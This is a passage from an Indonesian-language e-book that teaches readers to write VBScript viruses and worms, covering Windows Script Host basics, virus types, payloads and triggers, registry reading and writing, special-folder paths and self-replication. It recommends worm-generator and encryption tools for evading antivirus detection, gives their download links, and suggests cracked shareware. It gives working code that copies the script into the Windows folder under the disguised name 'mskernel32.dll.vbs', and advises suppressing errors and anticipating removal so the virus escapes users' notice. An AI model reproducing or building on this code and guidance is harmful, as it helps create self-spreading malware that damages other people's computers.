  • 5. BAB 1 Pengenalan VBScript dan Virus Untuk dapat mengikuti dan memahami tutorial ini anda minimal sudah harus mengerti bahasa Visual Basic (Visual Basic 6.0, VBScript, atau Visual Basic for Application) dan memahami konsep pemrograman (dengan Visual Basic). 1.1 Pengertian VBScript VBScript merupakan kepanjangan dari Visual Basic Script yang mana masih merupakan bagian keluarga dari bahasa pemrograman Visual Basic. Lalu apakah sebenarnya VBScript tersebut? Untuk menjawab pertanyaan tersebut ada baiknya kita menyimak definisi dari VBScript menurut Microsoft berikut : Microsoft® Visual Basic® Scripting Edition, a subset of the Microsoft® Visual Basic® programming language, is a fast, portable, lightweight interpreter for use in World Wide Web browsers and other applications that use Microsoft® ActiveX® Controls, Automation servers, and Java applets. Pada dasarnya VBScript merupakan sebuah bahasa pemrograman script (scripting language) yang dijalankan oleh sebuah interpreter. Windows Scripting Host (WSH – wscript.exe) adalah salah satu program yang berperan sebagai interpreter dari VBScript yang bertugas menjalankan dan mengeksekusi script-script VBScript. Script VBScript dapat “ditempelkan” pada sebuah halaman web atau menjadi sebuah file yang independent (berdiri sendiri) yang biasanya memiliki ekstensi file *.VBS. Seperti telah dijelaskan diatas, Windows Scripting Host merupakan interpreter VBScript yang menjalankan script-script VBScript yang disimpan pada file *.VBS tadi. Jadi, tanpa Windows Scripting Host, VBScript tidak akan dapat berjalan. Penjelasan mengenai Windows Scripting Host akan dibahas terpisah pada sub-bab selanjutnya. 3
  • 6. 1.2 Mengapa VBScript ? VBScript dipilih karena kemudahan pemahaman bahasanya dan tingkat flaksibilitasnya yang tinggi diatas platform sistem operasi Microsoft Windows. VBScript merupakan scripting language yang dapat dijalankan / dieksekusi secara langsung tanpa perlu melakukan kompilasi. Disamping itu semua, VBScript dapat memanfaatkan semua fasilitas, sumber daya, komponen dan objek yang terdapat pada sistem operasi Microsoft Windows. Walaupun VBScript merupakan sebuah script namun dalam penggunaannya VBScript dapat disisipi dengan file binary seperti file executable (*.EXE) ataupun file gambar. Masih ingat virus-virus seperti VBS.LoveLetter, VBS.Redlof, VBS.AnnaKournikova dan lainnya, kesemua virus tersebut ditulis menggunakan bahasa scripting VBScript. 1.3 Definisi Virus Karena tidak adanya pendefinisian yang baku mengenai virus komputer, penulis akan mengacu pada pendefinisian virus menurut Fred Cohen, seorang pakar virus komputer yang mendefinisikan virus komputer sebagai berikut : "A COMPUTER VIRUS is a computer program that can infect other computer programs by modifying them in such a way as to include a (possibly evolved) copy of itself. Note that a program does not have to perform outright damage (such as deleting or corrupting files) in order to to be called a "virus". However, Cohen uses the terms within his definition (e.g. "program" and "modify") a bit differently from the way most anti-virus researchers use them, and classifies as viruses some things which most of us would not consider viruses." Dari definisi tersebut dapat dikatakan bahwa virus komputer adalah sebuah program komputer yang memiliki kemampuan menggandakan diri, menginfeksi file atau program lain dengan dirinya sendiri atau karakter byte acak (random), mengganggu 4
  • 7. kinerja dari sebuah sistem komputer, kehadirannya tidak disadari dan yang jelas tidak diinginkan ☺. Dari penjelasan diatas, penulis harap anda dapat menggambarkan sendiri tentang apakah virus tersebut. Karena pemahaman tentang virus tersebut adalah sebuah modal dasar untuk mempelajari, memahami, membuat, memprogram, dan mencegah virus untuk menginfeksi komputer anda. 1.4 Windows Scripting Host Windows Scripting Host adalah sebuah program yang berfungsi sebagai interpreter dari VBScript dalam lingkungan sistem operasi Microsoft Windows. Secara default, Windows Scripting Host akan ikut terinstall saat anda menginstall sistem operasi Microsoft Windows atau menginstall browser Internet Explorer versi 5 keatas. Anda dapat memeriksa apakah Windows Scripting Host sudah terinstall pada sistem Windows anda dengan cara mengetikan perintah “wscript.exe” pada dialogbox run melalui menu “Start > Run”. Gambar 1.1: DialogBox Run Jika setelah mengetikan perintah “wscript.exe” tersebut tampil dialog setting Windows Scripting Host (lihat gambar 1.2) maka Windows Scripting Host telah terdapat dan terinstall pada Windows anda. Sebenarnya Windows Scripting Host memiliki dua buah file inti yaitu wscript.exe dan cscript.exe, dimana wscript.exe digunakan untuk mengeksekusi script VBScript pada lingkungan Windows, 5
  • 8. sedangkan cscript.exe dapat digunakan untuk melakukan eksekusi script VBScript pada lingkungan DOS. Gambar 1.2: DialogBox Setting Windows Scripting Host 1.5 Peralatan yang Dibutuhkan Untuk membuat program dengan VBScript yang dalam pembahasan ini adalah pemrograman virus, VBScript tidak membutuhkan peralatan atau tools yang anehaneh atau rumit. Anda hanya perlu sebuah text editor, notepad pada windows misalnya, untuk mulai menuliskan script-script VBScript anda. Jika notepad dirasa kurang memenuhi kebutuhan anda, anda dapat menggunakan sebuah editor yang memang dirancang khusus sebagai editor VBScript yaitu Adersoft VbsEdit yang dapat di-download melalui http://www.adersoft.com/vbsedit. program tersebut merupakan program shareware yang tidak gratis tapi crack-nya tersedia di internet. Fenomena penampakan dari editor ini dapat anda lihat pada gambar 1.3 berikut : 6
  • 9. Gambar 1.3: Program Adersoft VbsEdit Selain itu juga terdapat beberapa tool program untuk menunjang pembuatan virus menggunakan VBScript yang penulis sebut sebagai “Tools Dari Neraka” yang dapat digunakan untuk membuat virus dengan menggunakan bahasa VBScript dan menghindari deteksi scan antivirus, akan tetapi sabar dulu ya. Tools tersebut akan dibahas pada bab berikutnya. 1.6 Script “Hello World” Sebelum melangkah kepembahasan selanjutnya kita akan mencoba membuat sebuah script program sederhana. Adapun script program yang akan kita buat adalah sebuah program yang memunculkan MessageBox “Hello World” dan contoh scriptnya adalah sebagai berikut : Dim strPesan strPesan = "Hello World" MsgBox strPesan, VBInformation, "Percobaan" Tulis script program tersebut dengan menggunakan editor text misalnya notepad dan simpan hasilnya dengan ekstensi file *.VBS, pada contoh ini file script bernama “hello-world.vbs” sehingga memiliki icon file bergambar seperti huruf “S” dengan warna biru kehijau-hijauan seperti pada gambar berikut : 7
  • 10. Gambar 1.4: Icon File VBS Pada tahap ini program sudah selesai dan yang perlu anda lakukan adalah menjalankan file script program tersebut. Untuk menjalankan script tersebut hanya cukup melakukan klik ganda (double click) pada file script tersebut di Windows Explorer dan hasilnya akan menampilkan sebuah MessageBox seperti terlihat pada gambar berikut : Gambar 1.5: MessageBox “Hello World” 1.7 Teknologi Antivirus Memang tidak bisa dipungkiri lagi, kendala yang sering timbul dalam membuat virus adalah antivirus yang selalu dapat mendeteksi kehadiran sebuah virus bahkan mungkin virus yang belum dikenalnya (belum terdaftar di-database antivirus tersebut) dengan menggunakan teknologi Heuristic Scanning dan belum lagi teknologi Script Blocking serta teknologi SandBox yang saat ini mulai ramai dibicarakan. Hal tersebut merupakan hambatan terbesar yang sering terjadi dalam membuat virus. Namun jangan patah semangat dulu, seperti telah penulis katakan sebelumnya, keadaan ini dapat diakali dengan menggunakan tool-tool khusus yang penulis sebut dengan “Tools Dari Neraka” yang akan dibahas pada bab berikutnya. 8
  • 11. BAB 2 Terminologi Virus Pada bab sebelumnya telah disinggung mengenai definisi virus secara garis besar dan pada bab ini akan dibahas mengenai terminologi virus, jenis-jenis virus, teknik-teknik virus dan teknologi yang biasa digunakan virus dalam melancarkan aksinya. 2.1 Bagaimana Virus Menyebar ? Pada dasarnya virus dapat menyebar dan memasuki atau menginfeksi sistem kita dengan berbagai cara, metode dan media. Adapun media-media yang sering dimanfaatkan untuk penyebaran virus adalah : • Disket / Floppy Disk / CD / Flash Disk Walaupun sekarang sudah jamannya internet (seperti kata Telkom : “Internet mau datang… Pake sendal biar gak kesetrum”) namun masih banyak virus yang berkeliaran (khususnya virus lokal, yang beredar di Indonesia) memanfaatkan media ini terutama disket dan flash disk untuk menyebarkan dirinya sendiri dan menginfeksi komputer lain. • Internet Semenjak internet populer dan digunakan oleh banyak orang, banyak pula virus yang memanfaatkan media internet untuk menyebarkan dirinya. Seperti pada pokok pembahasan kita kali ini “Pemrograman Virus Menggunakan VBScript”, karena VBScript dapat ditempelkan berdampingan dengan HTML maka tidak menutup kemungkinan jika anda dapat terinfeksi ketika sedang browsing di internet dan membuka halaman web. Bukannya saya nakut-nakutin, akan tetapi sebuah kelompok security lokal pernah ada yang membuat Generator Virus (berbasis HTML) VBScript untuk ditempelkan pada halaman web (HTML). 9
  • 12. • Email Virus menyebar melalui email dengan memanfaatkan fasilitas attachment yang terdapat pada email tersebut. Umumnya virus yang menyebar melalui email ini bersifat executable (dapat dieksekusi langsung) seperti file *.EXE, *.COM, *.VBS dan lainnya yang sejenis. Untuk mengelabuhi pengguna biasanya file virus menggunakan nama file dengan ekstensi ganda seperti: “FotoCewek.jpg.exe”. • Network (Jaringan) Seperti media lainnya, media jaringan pun tak luput dari target serangan virus. Telah banyak pula virus yang memanfaatkan media jaringan dan umumnya dengan media ini virus dapat dengan cepat “berkembang biak” pada setiap komputer yang terhubung ke jaringan tersebut. Tekniknya adalah sebagai berikut, virus menginfeksi satu komputer dalam sebuah jaringan dan membuat folder pada komputer tersebut lalu meng-copy-kan dirinya kedalam folder tersebut, kemudian virus akan mengeset folder tersebut sebagai folder share yang dapat diakses dalam sebuah jaringan dengan nama folder yang mengundang rasa penasaran orang untuk membukanya dan menjalankan file virus didalamnya. 2.2 Jenis-Jenis Virus Ada banyak sekali jenis virus yang beredar saat ini. Jenis-jenis virus ini dibedakan berdasarkan atas karakteristik virus, tipe virus, metode infeksi yang digunakan, ruang gerak virus, dan masih banyak lagi yang lainnya. Jenis-jenis virus tersebut diantaranya adalah sebagai berikut : • System Sector Virus System sector virus atau yang biasa disebut dengan nama boot sector virus atau virus boot sector adalah sebuah virus yang menginfeksi DOS boot sector atau Master Boot Record (MBR – juga dikenal dengan nama Partition Sectors). Virus boot sector menginfeksi boot sector dengan cara menuliskan dirinya 10
  • 13. sendiri atau berupa perintah yang mengarak ke dirinya sendiri ke boot sector dari suatu disk (seperti harddisk dan disket) yang mana secara otomatis akan diakses oleh sistem saat disk tersebut diakses. • Virus File Virus ini biasanya berupa program executable dan biasanya juga akan menginfeksi file-file executable seperti file-file dengan ekstensi *.EXE atau *.COM dengan cara menuliskan dirinya sendiri pada bagian atas (header / BOF) dari file yang akan diinfeksi, sehingga saat anda menjalankan file program tersebut, virus akan berjalan lebih dulu dan setelah virus selesai menjalankan aksinya barulah dia menjalankan program aslinya. • Macro Virus Virus macro adalah sebuah virus yang berbentuk script visual basic yang biasanya disebut dengan script Visual Basic for Application (VBA). Virus ini menginfeksi dan “menempel” pada dokumen Microsoft Word, Microsoft Excel, dan dokumen Microsoft Office lainnya. Target utama dari serangan virus ini adalah menginfeksi file “Normal.dot” yang merupakan file template untuk aplikasi Microsoft Word, baru setelah tujuan tersebut tercapai selanjutnya dia akan menginfeksi dokumen-dokumen yang dibuka pada melalui template “Normal.dot” tadi. Jadi untuk menghentikan aksi virus jenis ini dapat dilakukan dengan cara menghapus file “Normal.dot” yang ditemukan dan setelah itu jalankan aplikasi Microsoft Word yang secara otomatis akan membuat file “Normal.dot” yang baru dan bersih. Namun file-file dokumen lainnya yang telah terinfeksi akan tetap terinfeksi. • Companion Virus Virus jenis ini dapat menginfeksi sebuah file *.EXE tanpa mengubah satu byte pun pada file *.EXE tersebut. Kok bisa ??? mungkin anda bertanya-tanya bagaimana caranya. Pada dasarnya virus ini hanya menumpang berjalan dengan 11
  • 14. file *.EXE tersebut dengan cara membuat sebuah file *.COM dengan nama yang sama dengan file *.EXE tersebut dan dalam folder yang sama pula. Sebagai contoh, jika anda mempunyai sebuah file *.EXE bernama “program.exe” maka virus tersebut akan membuat file dengan nama “program.com” yang berada satu folder dengan file “program.exe” tersebut. File “program.com” tersebut adalah virusnya. Seperti diketahui bahwa DOS akan menjalankan file *.COM sebelum akhirnya menjalankan file *.BAT lalu menjalankan file *.EXE dengan nama yang sama yang berada dalam satu folder yang sama. Kira-kira begitu urutannya (itu juga kalo saya tidak lupa ☺). Untuk menghapusnya tentu anda sudah tahu bukan? ya, cukup hapus file *.COM yang memiliki nama yang sama dengan dengan file *.EXE, namun hati-hati dalam menghapusnya karena belum tentu file *.COM yang memiliki nama yang sama dengan file *.EXE adalah sebuah virus. • Visual Basic Worm He… he… he… inilah target pembelajaran kita ☺. Virus jenis ini biasa disebut dengan nama Visual Basic Worm atau Visual Basic Script Worm atau VBScript Worm. Disebut demikian karena dibuat dengan menggunakan bahasa Visual Basic Script (VBS) yang biasanya berupa source code / script (kode sumber / kode program) walaupun sering juga ada yang dalam bentuk terenkripsi (tersandi). Seperti telah dijelaskan dalam bab sebelumnya, bahwa Visual Basic Script atau VBScript dijalankan dengan bantuan Windows Scripting Host sebagai interpreter-nya. Virus jenis inilah yang akan kita bahasa dan pelajari dalam ebook ini. 12
  • 15. • Polymorphic Virus Polymorphic virus adalah sebuah virus yang memiliki kemampuan untuk mengubah struktur dirinya sendiri setiap kali melakukan infeksi. Virus jenis ini sulit sekali untuk dideteksi dengan menggunakan metode scanning biasa dan metode checksum karena setiap copy dari virus akan tampak berbeda dari copy lainnya. • Stealth Virus Virus jenis ini dinamakan dengan nama pesawat tempur buatan amerika, yaitu stealth. Virus ini dalam menjalankan aksinya akan mengambil alih fungsi-fungsi sistem. • Multipartite Virus Virus jenis ini merupakan gabungan dari virus file dan virus system sector (boot sector). Virus ini dapat menginfeksi file dan dapat juga menginfeksi system sector. 2.3 Tools Dari Neraka Di internet terdapat banyak sekali tool-tool yang dapat membantu kita dalam membuat dan mempelajari virus, terutama virus VBScript. Beberapa diantaranya adalah : • VBSWG (Visual Basic Script Worm Generator) Download URL Download URL : http://www.kvirii.com.ar Ukuran File • : http://www.virii.com.ar : ± 118 Kb Kefi’s VBS Encryption Engine Download URL : http://vx.netlux.org/~kefi Ukuran File : ± 29 Kb 13
  • 16. VBSWG merupakan sebuah Worm Generator yaitu sebuah program pembuat virus (worm) VBScript. VBSWG dibuat dengan menggunakan Microsoft Visual Basic. Karena dalam distribusinya tidak disertakan Microsoft Visual Basic RunTime Library, maka anda perlu men-download file RunTime Visual Basic tersebut dari http://www.microsoft.com atau dapat di-download juga dari website penulis di http://www.wahyuprimadi.com/download/20012006214446_vb6rt.exe jika belum memiliki. Gambar 2.1: VBSWG (Visual Basic Script Worm Generator) Sedangkan KVEE (Kefi’s VBS Encryption Engine) merupakan sebuah program yang berguna untuk melakukan enkripsi (penyandian) script VBScript dengan berbagai metode yang disediakan. Sampai saat tulisan ini ditulis (08 Juni 2006) belum ada satu pun antivirus yang dapat mendeteksi virus VBScript yang dienkripsi menggunakan KVEE. Program ini nantinya dapat digunakan sebagai salah satu perlengkapan perang kita ☺. 14
  • 17. Gambar 2.2: KVEE (Kefi’s VBS Encryption Engine) Selain itu di internet masih banyak tersedia tool-tool yang berhubungan dengan pembahasan kita kali ini. Namun untuk tool-tool yang lain tersebut anda harus mencarinya sendiri di internet. Usaha dong… males banget sih…!!! ☺ 2.4 PayLoad Virus Payload virus disini dapat diartikan sebagai aksi yang akan dilakukan oleh virus. Aksi tersebut dapat berupa aksi yang sederhana yaitu hanya menampilkan pesan sampai aksi yang benar-berar parah dan merusak seperti menghapus file-file dokumen pada komputer host. Yang menentukan aksi dari virus tersebut tentunya adalah pembuatnya (programmer-nya) dan biasanya aksi dari virus memiliki pemicu (trigger) untuk menjalankan aksi tersebut saat pemicu tersebut terpicu (triggered). Pemicu tersebut dapat berupa tanggal, waktu, event tertentu dan lain sebagainya. Contoh algoritma penggunaan payload dan trigger yang sederhana adalah sebagai berikut, jika tanggal sistem menunjukan tanggal satu maka tampilkan pesan dan setelah direspon shutdown komputer. 15
  • 18. BAB 3 Dasar Pemrograman Virus Pada bab ini kita akan mulai melangkah ke inti permasalahan yaitu pemrograman virus dengan menggunakan VBScript. Namun dalam bab ini baru akan dibahas dasar pemrogramannya saja sedangkan untuk pemrograman virus tingkat lanjut akan dibahas pada bab berikutnya. Seperti telah disebutkan sebelumnya, salah satu syarat untuk memahami e-book ini adalah sudah mengerti bahasa pemrograman Visual Basic atau VBScript. Jika anda belum mengerti bahasa tersebut belajar dulu baru mebaca bab ini ☺. 3.1 Metode yang Dimiliki Virus Dalam setiap aksinya sebuah virus memiliki beberapa metode untuk melancarkan setiap aksinya. Metode tersebut dapat berupa aksi untuk menggandakan diri, aksi menyebar, aksi menulis ke registry, dan aksi-aksi yang lainnya. Untuk dapat membuat virus yang sukses, sebagai programmer virus kita harus benar-benar memperhitungkan apa yang akan dilakukan user. Maksudnya adalah apa yang akan membuat user tertarik sehingga menjalankan virus kita dengan atau tanpa sadar, apa yang akan dilakukan user ketika user tersebut sadar bahwa dia terinfeksi, apa yang akan dilakukan user untuk menghapus virus dari sistemnya, dan lain sebagainya. Hal-hal seperti itulah yang perlu diperhatikan demi menjamin kelangsungan hidup virus yang anda buat. Dengan memiliki pemikiran demikian diharapkan anda sudah mempunyai tidakan pencegahan berupa sebuah algoritma dan logika yang tertanam pada virus jika suatu ketika ada user yang sadar telah terinfeksi dan ingin menghapus virus anda. 3.2 Baca Tulis Registry Windows Membaca dan menulis ke sistem registry Windows merupakan hal yang sangat penting dalam aktivitas virus saat menjalankan aksinya. Untuk itu sebelum 16
  • 19. melangkah lebih jauh, terlebih dahulu akan diberikan contoh dan penjelasan tentang bagaimana caranya membaca dan menulis ke registry Windows. Agar lebih mudah berikut akan diberikan contoh programnya : 'Program Baca Tulis Registry Dim Tanda Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") 'Baca Dari Registry Tanda = ObjReg.RegRead("HKLMSoftwareVBS.TweetyInfeksi") 'Tulis ke Registry ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu" Pada script diatas berisi contoh program bagaimana membaca dan menulis ke registry Windows. Berikut akan diberikan penjelasan script tersebut diatas barisperbaris : • 'Program Baca Tulis Registry Baris kode tersebut merupakan sebuah komentar. Dimana sebuah komentar diawali dengan tanda kutip tunggal (') dan komentar tersebut tidak akan diproses oleh interpreter (gak ngaruh ke program). • Dim Tanda Baris script tersebut merupakan deklarasi variabel dimana perintah “Dim” merupakan perintah untuk pendeklarasian variabel dan perintah “Tanda” adalah variabel yang ingin dideklarasikan. • Dim ObjReg Sama, Merupakan perintah untuk pendeklarasian variabel. “ObjReg” adalah variabel yang ingin dideklarasikan. 17
  • 20. • Set ObjReg = CreateObject("WScript.Shell") Perintah tersebut berfungsi untuk mengeset (mengisi) variabel “ObjReg” sebagai objek dari Windows Scripting Host Shell yang ditandai dengan perintah “WScript.Shell”. Dengan demikian variabel “ObjReg” akan memiliki fungsifungsi shell Windows Scripting Host didalamnya yang dapat anda gunakan yang pada contoh script diatas adalah baca dan tulis ke registry Windows (RegRead dan RegWrite). • 'Baca Dari Registry Baris tersebut merupakan komentar, terserah anda mau tulis kata-kata apa (tetep gak ngaruh). Ingat komentar selalu diawali dengan tanda KUTIP TUNGGAL ('). Jadi jika ada perintah yang diawali dengan tanda kutip tungga berarti perintah tersebut merupakan sebuah komentar dan tidak akan diproses. • Tanda = ObjReg.RegRead("HKLMSoftwareVBS.TweetyInfeksi") Perintah tersebut berfungsi untuk mengisi variabel “Tanda” dengan value dari registry yang dipilih (HKLMSoftwareVBS.TweetyInfeksi) yang telah ada sebelumnya, dimana “HKLM” merupakan salah satu Key Root pada registry. Jika value registry tersebut belum ada pada registry maka akan menyebabkan runtime-error dan program berhenti. • 'Tulis ke Registry Ini juga merupakan komentar. • ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu" Fungsi tersebut berfungsi untuk menuliskan nilai value ke registry Window yang pada contoh tersebut akan menuliskan value berupa “Wahyu” pada key “HKLMSoftwareVBS.TweetyProgrammer”. Dimana “HKLM” merupakan salah satu Key Root registry. 18
  • 21. Gambar 3.1: Registry Editor – Menulis ke Registry Pada script diatas telah dijelaskan cara membaca dan menulis value pada registry, namun yang belum dijelaskan adalah bahwa pada registry terdapat beberapa Root Key dan pada contoh diatas hanya menggunakan satu Root Key yaitu HKLM (HKEY_LOCAL_MACHINE). Berikut akan diberikan daftar Root Key yang terdapat pada registry : • HKCR : HKEY_CLASSES_ROOT • HKCU : HKEY_CURRENT_USER • HKLM : HKEY_LOCAL_MACHINE • HKU : HKEY_USERS • HKCC : HKEY_CURRENT_CONFIG Gambar 3.2: Daftar Root Key pada Registry Untuk penulisannya, anda dapat menuliskan singkatannya (misal: HKLM) atau kepanjangannya (misal: HKEY_LOCAL_MACHINE). Namun untuk dua Root Key 19
  • 22. terakhir terkadang anda harus menuliskan kepanjangannya karena biasanya akan menyebabkan runtime-error pada program yang disebabkan sistem tidak mengenali singkatan tersebut. PERHATIAN…!!! Bermain-main dengan registry rentan dengan bahaya. Sebelum mulai bermain dengan registry usahakan untuk mem-backup registry Windows anda agar jika terjadi sesuatu hal yang tidak diinginkan anda dapat me-restore-nya kembali. Karena jika terjadi kesalahan dapat menyebabkan sistem Windows menjadi error atau bahkan tidak dapat berjalan sama sekali…!!! 3.3 Mendapatkan Special Folder Dalam pemrograman virus dengan VBScript fungsi Special Folder sering kali digunakan. Kegunaan dari fungsi ini adalah untuk mendapatkan folder-folder system Windows, seperti folder Windows, folder WindowsSystem, dan folder WindowsTemp. Fungsi tersebut sering digunakan untuk melakukan peng-copy-an atau pembuatan back-up file virus ke folder-folder system tersebut. Berikut adalah contoh penggunaannya : Dim Target Dim FSO Dim FolderLain Set FSO = CreateObject("Scripting.FileSystemObject") Set FolderLain = CreateObject("WScript.Shell") 'Windows Folder : Target = FSO.GetSpecialFolder(0) 'Windows System Folder : Target = FSO.GetSpecialFolder(1) 'Windows Temp Folder : Target = FSO.GetSpecialFolder(2) 20
  • 23. 'Folder Desktop Target = FolderLain.SpecialFolders("Desktop") 'Folder All Users Start Menu Target = FolderLain.SpecialFolders("AllUsersStartMenu") 'Folder Start Menu Programs Target = FolderLain.SpecialFolders("Programs") 'Folder My Documents Target = FolderLain.SpecialFolders("MyDocuments") 'Folder StartUp Start Menu Target = FolderLain.SpecialFolders("Startup") 'Folder All Users Programs Start Menu Target = FolderLain.SpecialFolders("AllUsersPrograms") 'Folder All Users StartUp Start Menu Target = FolderLain.SpecialFolders("AllUsersStartup") 'Folder Favorites Target = FolderLain.SpecialFolders("Favorites") 'Folder AppData Target = FolderLain.SpecialFolders("AppData") 'Folder Recent Target = FolderLain.SpecialFolders("Recent") 'Alamat Path Script : Target = WScript.ScriptFullName Dimana penjelasan dari script tersebut adalah sebagai berikut : 21
  • 24. • Dim Target Baris script tersebut merupakan deklarasi variabel dimana variabel yang dideklarasikan bernama “Target”. • Dim FSO Sama seperti baris sebelumnya, baris ini juga merupakan deklarasi variabel dan variabel yang dideklarasikan bernama “FSO”. • Dim FolderLain Juga sama seperti baris sebelumnya, baris ini merupakan deklarasi variabel dan variabel yang dideklarasikan bernama “FolderLain”. • Set FSO = CreateObject("Scripting.FileSystemObject") Pada baris ini variabel “FSO” yang telah dideklarasikan sebelumnya diset atau diisi sebagai objek “Scripting.FileSystemObject”. • Set FolderLain = CreateObject("WScript.Shell") Pada beris ini variabel “FolderLain” yang telah dideklarasikan sebelumnya diset atau diisi sebagai objek “WScript.Shell”. • Target = FSO.GetSpecialFolder(0) Baris ini mengisi variabel “Target” (yang sebelumnya telah dideklarasikan pada baris pertama) dengan sebuah value berupa alamat path folder Windows. Penulis menggunakan sistem operasi Microsoft Windows XP SP2 dan menginstalnya ke folder “C:Windows”, sehingga jika script tersebut dijalankan pada komputer penulis maka variabel “Target” akan berisi “C:Windows”. • Target = FSO.GetSpecialFolder(1) Sama seperti baris sebelumnya, hanya saja perintah ini akan menghasilkan alamat path dari folde system Windows. Jika script tersebut dijalankan pada komputer penulis maka variabel “Target” akan berisi “C:Windowssystem32”. • Target = FSO.GetSpecialFolder(2) Masih sama seperti baris sebelumnya, hanya saja perintah ini akan menghasilkan alamat path dari folder temp Windows. Jika script tersebut dijalankan pada komputer penulis maka variabel “Target” akan berisi “C:DOCUME~1WAHYUP~1LOCALS~1Temp” yang merupakan short 22
  • 25. filename dari “C:Documents and SettingsWahyu PrimadiLocal SettingsTemp”. • Target = FolderLain.SpecialFolders("Desktop") Perintah pada baris ini akan menghasilkan alamat path folder “Desktop”. Jika script tersebut dijalankan variabel “Target” akan berisi alamat path folder “Desktop”. • Target = FolderLain.SpecialFolders("AllUsersStartMenu") Perintah pada baris ini akan menghasilkan alamat path folder “Start Menu” untuk seluruh user (All Users). • Target = FolderLain.SpecialFolders("Programs") Baris perintah ini akan menghasilkan alamat path folder “Programs” pada Start Menu untuk user yang sedang aktif (Current User). • Target = FolderLain.SpecialFolders("MyDocuments") Baris perintah ini akan menghasilkan alamat path folder “My Documents” dari user yang sedang aktif (Current User). • Target = FolderLain.SpecialFolders("Startup") Perintah ini akan menghasilkan alamat path folder “Startup” pada Start Menu dari user yang sedang aktif (Current User). • Target = FolderLain.SpecialFolders("AllUsersPrograms") Perintah ini akan menghasilkan alamat path folder “Programs” pada Start Menu untuk seluruh user (All Users). • Target = FolderLain.SpecialFolders("AllUsersStartup") Baris perintah ini akan menghasilkan alamat path folder “Startup” pada Start Menu untuk seluruh user (All Users). • Target = FolderLain.SpecialFolders("Favorites") Baris perintah ini akan menghasilkan alamat path folder “Favorites” dari user yang sedang aktif (Current User). • Target = FolderLain.SpecialFolders("AppData") Perintah ini akan menghasilkan alamat path folder “Application Data” dari user yang sedang aktif (Current User). 23
  • 26. • Target = FolderLain.SpecialFolders("Recent") Baris perintah ini akan menghasilkan alamat path folder “Recent” dari user yang sedang aktif (Current User). • Target = WScript.ScriptFullName Jika perintah pada baris-baris sebelumnya akan menghasilkan alamat folderfolder system, namun pada baris ini akan menghasilkan alamat folder tempat script tersebut dijalankan lengkap beserta nama file-nya. Sebagai contoh, penulis menyimpan script ini pada folder “D:PublishE-BookVirus” dengan nama file “ScriptSpecialFolder.vbs”, maka jika dijalankan variabel “Target” akan berisi “D:PublishE-BookVirusScriptSpecialFolder.vbs”. 3.4 Anti Error Dalam membuat virus wajib hukumnya untuk menghindari error atau runtime-error yang terjadi saat virus berjalan. Karena jika terjadi error maka interpreter akan memunculkan dialogbox runtime-error dan virus akan berhenti berjalan. Hal tersebut tentunya tidak bagus untuk kesehatan virus kita dan dapat menimbulkan kecurigaan user saat dialogbox runtime-error tampil. Gambar 3.3: DialogBox Runtime Error Untuk mengatasi permasalahan tersebut anda dapat menggunakan perintah “On Error Resume Next” yang berfungsi untuk mengabaikan error jika ada error yang terjadi dan melanjutkan eksekusi ke perintah selanjutnya. Perintah tersebut diletakan paling atas pada script, berikut contoh penggunaannya jika digabungkan dengan script sebelumnya : 24
  • 27. Dim Target Dim FSO On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") 'Windows Folder : Target = FSO.GetSpecialFolder(0) 'Windows System Folder : Target = FSO.GetSpecialFolder(1) 'Windows Temp Folder : Target = FSO.GetSpecialFolder(2) Perhatikan baris script yang berwarna merah dan tercetak tebal, disitulah perintah “On Error Resume Next” diletakan. Dengan demikian script virus anda akan terbebas dari runtime-error dan akan terus berjalan sampai akhir script. 3.5 Penggandaan Diri Metode penggandaan diri ini sudah menjadi “pakem” dalam dunia per-virus-an. Hampir (atau dapat dikatan semua) virus yang beredar menggunakan metode ini untuk menyimpan copy dirinya ke komputer host / target dan biasanya dengan nama file yang disamarkan sehingga user akan mengira file virus tersebut adalah bagian dari sistem operasi. File copy virus tersebutlah yang akan aktif dan terus bekerja setiap kali komputer dihidupkan dengan cara membuat fasilitas AutoRun pada sistem Windows. Fasilitas AutoRun ini akan dibahas pada bagian berikutnya. Pada metode penggandaan diri ini biasanya virus membuat copy dirinya sendiri pada folder sistem seperti folder Windows dan Windowssystem. Berikut akan diberikan contoh script-nya : 25
  • 28. Dim FSO Dim BodyVirus Dim IsiVirus On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") 'Buka dan Baca Dirinya Sendiri Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName) 'Simpan Dalam Variabel IsiVirus IsiVirus = BodyVirus.ReadAll BodyVirus.Close 'Copy Dirinya Sendiri Ke Folder Windows Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) & "mskernel32.dll.vbs") BodyVirus.Write IsiVirus BodyVirus.Close Pada contoh script diatas, program akan mencoba untuk meng-copy dirinya sendiri ke folder Windows (defaultnya adalah “C:Windows”) dengan nama file “mskernel32.dll.vbs”. Untuk lebih jelasnya berikut akan diberikan keterangan dari tiap-tiap baris script tersebut : • Dim FSO Baris ini merupakan perintah untuk mendeklarasikan variabel bernama “FSO”. • Dim BodyVirus Sama seperti baris sebelumnya yaitu merupakan perintah untuk mendeklarasikan variabel bernama “BodyVirus”. • Dim IsiVirus Baris ini juga merupakan perintah untuk mendeklarasikan variabel dengan nama “IsiVirus”. 26
  • 29. • On Error Resume Next Seperti telah dijelaskan pada sub-bab sebelumnya (3.4 Anti Error), perintah ini berfungsi untuk mengabaikan error jika ada error yang terjadi selama runtime, dan jika ada error yang terjadi interpreter secara otomatis akan melanjutkan eksekusi script pada baris berikutnya. • Set FSO = CreateObject("Scripting.FileSystemObject") Baris ini berisi perintah untuk mengeset variabel “FSO” sebagai objek “Scripting.FileSystemObject”. • Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName) Baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek file dan sekaligus melakukan pembukaan / pembacaan file (FSO.OpenTextFile). Adapun file yang dibuka / dibaca adalah file dirinya sendiri (WScript.ScriptFullName), dengan kata lain script tersebut akan membuka dan membaca dirinya sendiri (WScript.ScriptFullName). WScript.ScriptFullName akan memberikan nilai kembalian (Return Value) berupa alamat path beserta nama file script yang dijalankan tersebut. Jika kurang jelas baca lagi sub-bab 3.3 Mendapatkan Special Folder. • IsiVirus = 